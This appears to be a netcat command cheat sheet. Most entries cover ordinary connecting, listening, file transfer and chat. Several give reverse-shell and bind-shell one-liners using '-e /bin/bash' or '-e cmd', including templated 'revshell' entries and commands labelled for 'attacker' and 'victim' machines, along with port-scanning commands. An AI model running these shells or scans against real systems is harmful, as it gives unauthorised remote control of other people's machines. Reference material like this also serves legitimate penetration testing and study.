Basic usage with flag-c

nc ${flag-c}

Display help message

nc --help

NetRunners revshell/shell

nc.exe {{IP}} {{PORT}} -e cmd

NetRunners revshell/shell

nc -e /bin/bash {{IP}} {{PORT}}

Basic client use - connect to a server

nc [hostname] [port]

Basic server use - listen on a specific port

nc -l -p [port]

Send a file from a client to a server Server side

nc -l -p [port] > [output-file]

Client side

nc [hostname] [port] < [input-file]

Create a simple chat server Server side

nc -l -p [port]

Client side

nc [hostname] [port]

Port scanning a host for open ports

nc -zv [hostname] [starting-port]-[ending-port]

Using UDP instead of TCP

nc -u [hostname] [port]

Use with a timeout setting

nc -w [timeout-in-seconds] [hostname] [port]

Listen for connections on multiple interfaces

nc -l -p [port] -k

Establish a reverse shell (use with caution) Attacker machine - listen for incoming connections

nc -l -p [port]

Victim machine - connect to attacker

nc [attacker-ip] [port] -e /bin/bash

Start a simple TCP server on a specified port

nc -l -p PORT_NUMBER

Connect to a TCP server on a specified IP address and port

nc IP_ADDRESS PORT_NUMBER

Transfer a file from a server to a client On the server side (listening and sending the file)

nc -l -p PORT_NUMBER < filename

On the client side (receiving the file)

nc IP_ADDRESS PORT_NUMBER > filename

Scan open ports on a target host

nc -zv IP_ADDRESS PORT_RANGE

Use netcat as a simple chat tool On one machine (listening)

nc -l -p PORT_NUMBER

On another machine (connecting to the listener)

nc IP_ADDRESS PORT_NUMBER

Create a reverse shell from a client to a server On the attacker's machine (listening)

nc -l -p PORT_NUMBER -e /bin/bash

On the victim's machine (connecting back to the attacker's machine)

nc IP_ADDRESS PORT_NUMBER -e /bin/bash

Bind shell on the server side On the server machine (listening and attaching a shell)

nc -l -p PORT_NUMBER -e /bin/bash

On the client machine (connecting to the bind shell)

nc IP_ADDRESS PORT_NUMBER